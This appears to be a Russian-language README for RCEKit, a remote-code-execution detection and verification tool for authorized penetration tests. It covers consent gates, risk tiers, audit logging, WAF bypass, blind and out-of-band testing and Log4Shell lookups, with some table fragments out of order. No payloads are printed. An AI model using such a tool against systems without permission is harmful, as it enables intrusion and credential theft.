3. Он создан для авторизованного проекта, а не для лаборатории

Контроли, о которых на самом деле спрашивают правила взаимодействия клиента, — в инструменте, а не в ваших заметках:

Шлюз согласияНичего эксплуатирующего не генерируется и не запускается без --acknowledge-consent.
План выполненияПечатает точное число зондов, формы стоков, уровни безопасности и любые исходящие адреса обратных вызовов до отправки первого запроса.
Безопасность по умолчаниюОбратные оболочки, доступ к учётным данным, облачные метаданные, боковое перемещение и выход из контейнера удерживаются, пока вы не поднимете --verify-active-risk; для персистентности и бэкдоров нужен ещё один флаг сверху. Мосты, создающие объект на цели, ограничены тем же потолком.
Команды очисткиfile, write и мосты с сохранением состояния меняют состояние цели, поэтому каждая находка — включая needs-review — печатает, что запустить, чтобы отменить это.
Учётные данные остаются на местеОбратное чтение через file несёт заголовки Authorization/Cookie запуска только к тому же источнику и говорит об этом вслух, когда удерживает их. Запрос наблюдаемого канала не отправляет их вовсе, если вы не передадите ему запрос с --observe-request.
Журнал аудита с редактированиемКаждый запуск попадает в exploit_audit.log, фиксируя, что заголовок с учётными данными был отправлен, но никогда — его значение.
Водяные знаки--watermark вставляет отслеживаемый токен в каждую полезную нагрузку, так что полезная нагрузка, найденная в логах клиента месяцы спустя, может быть приписана вашему запуску.
Никаких сторонних обратных вызововOOB-слушатель ваш. Ничего не маршрутизируется через публичный сервер взаимодействия, что некоторые проекты прямо запрещают.
Один файл из стандартной библиотекиrcekit.py работает сам по себе — на jump box, на изолированном хосте, где угодно, где pip install не вариант.

Когда стоит обратиться к чему-то другому

Хотите оболочку, а не вердикт? commix и SSTImap продолжают в постэксплуатацию; RCEKit по замыслу останавливается на доказательстве. Прочесать тысячи хостов на известные CVE? Это работа Nuclei — и RCEKit пишет шаблоны Nuclei (--output-format nuclei), так что он питает ваш сканер, а не конкурирует с ним. Уже знаете, что инъекция — это SQL, и хотите саму базу данных? sqlmap владеет этой территорией — мосты RCEKit существуют, чтобы доказать, что ОС достижима из текстового параметра, а не чтобы эксплуатировать базу данных.


Найдите свою ситуацию

Каждая строка — это проработанный пример в полевом руководстве — команда, что она отправляет и как читать то, что возвращается.

СитуацияПерейти к
У меня есть URL и параметрУказать на URL
У меня есть запрос, сохранённый из BurpУказать на захваченный запрос
Приложение — это JSON / полезную нагрузку постоянно искажаютДоставка полезной нагрузки в целости
Я не знаю, к какому классу это относитсяВыбор методов
Сток удаляет ;Когда сток фильтрует разделители
Мой ввод попадает внутрь 'quotes'Инъекция внутри кавычек
Сток выполняет мой ввод как всю командуСтоки с полной командой
Цель — Windows или сток — PowerShellСтоки Windows и PowerShell
Есть WAFОбход WAF
Вывод вообще не возвращаетсяСлепые цели
Нет вывода и нет исходящего трафикаЦели без исходящего трафика
Запрос сохраняет файл вместо выполнения чего-либоЦели с загрузкой и примитивом записи
Полезная нагрузка выполняется позже, в другом запросе

Документация

Проверьте самиВоспроизведите подтверждения выше на своей машине против докеризованных уязвимых целей. Пять минут.
Полевое руководствоПошаговое руководство на примерах для каждой реальной ситуации, от первого зонда до многошаговых цепочек. Начните здесь.
Генерация полезных нагрузок и экспортRCEKit как генератор полезных нагрузок: профили целей и экспорт для Burp / ffuf / Nuclei.
СправочникКаждый флаг, окружение, категория, контекст, кодировка и сток выполнения кода.
CHANGELOG.mdЧто изменилось в каждом релизе и что перепроверить при обновлении.
CONTRIBUTING.mdКак добавлять стоки, категории, кодировки и методы обнаружения.
SECURITY.mdСообщение об уязвимости в самом RCEKit.

Безопасность и этика

RCEKit эксплуатирует, и в этом суть. Уязвимость подтверждается тем, что цель заставляют сделать эту вещь, потому что это единственное доказательство, которое сигнатура не может подделать, а пропатченная сборка не может выдать случайно. Запуск ограничивают не нежелание эксплуатировать. Его ограничивают два структурных факта и один переключатель.

Он не принимает от вас произвольную полезную нагрузку. Зонды строятся движком, чтобы служить оракулу — арифметика над операндами, случайными для этого зонда, имя, которое мог выбрать только этот запуск. Нет такого ввода, который превращает обнаружение во что-то другое, потому что такого ввода просто нет.

Всё, что выходит за пределы вычисления значения, объявляет нужный ему уровень, так что один флаг решает, как далеко зайдёт запуск: --verify-active-risk safe | intrusive | stateful. Метод или отдельная форма зонда выше этого уровня удерживается по имени, вместе с флагом, который бы его отправил — лестница, которая тихо укорачивается, неотличима от цели, где нечего найти. Против одноразового экземпляра поднимите уровень и получите всё, что есть у инструмента.

  • Шлюз согласия — генерация и верификация эксплуатации требуют --acknowledge-consent; --detection-only безопасен и не требует.
  • Безопасность по умолчанию — верификация запускает только низкоимпактные доказательства; обратные оболочки, скачивание-и-выполнение, доступ к учётным данным, боковое перемещение, выход из контейнера, облачные метаданные и OOB-полезные нагрузки удерживаются, пока вы не поднимете --verify-active-risk. Деструктивные полезные нагрузки (персистентность, бэкдоры) никогда не запускаются без --verify-allow-destructive. План выполнения печатает точно, что будет отправлено, прежде чем что-либо запустится.
  • Уровни безопасности — safe / intrusive / stateful. Полезные нагрузки корпуса фильтруются по --max-safety; методы обнаружения и их формы зондов объявляют те же ступени и фильтруются по --verify-active-risk, так что метод, который заставляет цель обратиться наружу или оставляет что-то после себя, подчиняется тому же порядку, что и любая полезная нагрузка корпуса. Предварительная проверка называет уровень, который фактически нужен каждому удержанному элементу. file и write вместо этого ограничены их собственной конфигурацией: ни один ничего не делает, пока вы не назовёте каталог для записи и URL для обратного чтения.
  • Аудит и логирование — каждый запуск эксплуатации/верификации записывается в exploit_audit.log; --watermark встраивает отслеживаемый токен; логи выполнения идут в rcekit.log.
  • Целостность корпуса — повреждённый корпус или явно указанный --template-file, которого нет, заставляют RCEKit отказаться от запуска и завершиться с ненулевым кодом, а не молча сгенерировать ничего (--doctor проверяет это). Только отсутствующий файл корпуса по умолчанию откатывается к встроенной копии, и он говорит об этом, когда это делает.

Этот набор инструментов предназначен только для авторизованного тестирования на проникновение, исследований в области безопасности, обучения и защитного тренинга. Никогда не используйте его против систем без явного разрешения — несанкционированное тестирование незаконно.

Разработка```bash

python -m unittest discover -s tests # dependency-free test suite

root@kitploit:~
Приветствуются вклады — новые sinks/категории, кодировки, окружения, методы
обнаружения, исправления ошибок и документация. Базы payload'ов хранятся в
редактируемых JSON-шаблонах (`templates/payloads.json`), поэтому большинство
расширений покрытия не требует изменения исходного кода на Python. После
изменения корпуса обновите встроенную копию, поставляемую внутри `rcekit.py`:```bash
python tools/embed_corpus.py    # --check verifies it is current

Набор тестов завершается с ошибкой, если эти два файла когда-либо разойдутся. См. CONTRIBUTING.md.

Лицензия

MIT — см. LICENSE.

Скачать инструмент
deserialization-sink
никогда
Слепые / out-of-band — эксфильтрация, асинхронностьoobВстроенный HTTP/DNS-слушатель принимает обратные вызовы и сопоставляет каждый с точной полезной нагрузкой; каждая проба несёт собственный токен.
Sink'и поиска выражений — Log4Shell/JNDIlookupSink разрешает URI ${jndi:…} вместо выполнения команды, поэтому shell-пробы oob ни до чего не доходят. Доказывает это только по обратному вызову и сообщает lookup-sink, никогда confirmed. Отправляется только jndi:dns:// — поиск имени и ничего больше — так что доказанным оказывается поиск, а не цепочка гаджетов.
Когда исполнение происходит в другом запросе
Точка инъекции — SQL, а сток — хост базы данныхМосты языков запросов
Конечная точка принимает сериализованный объектСтоки десериализации
Сток находится за логином или загрузкой файлаМногошаговые цепочки
Я получил needs-review / inconclusive / errorЧтение результатов
Он говорит, что корпус непригоденУстранение неполадок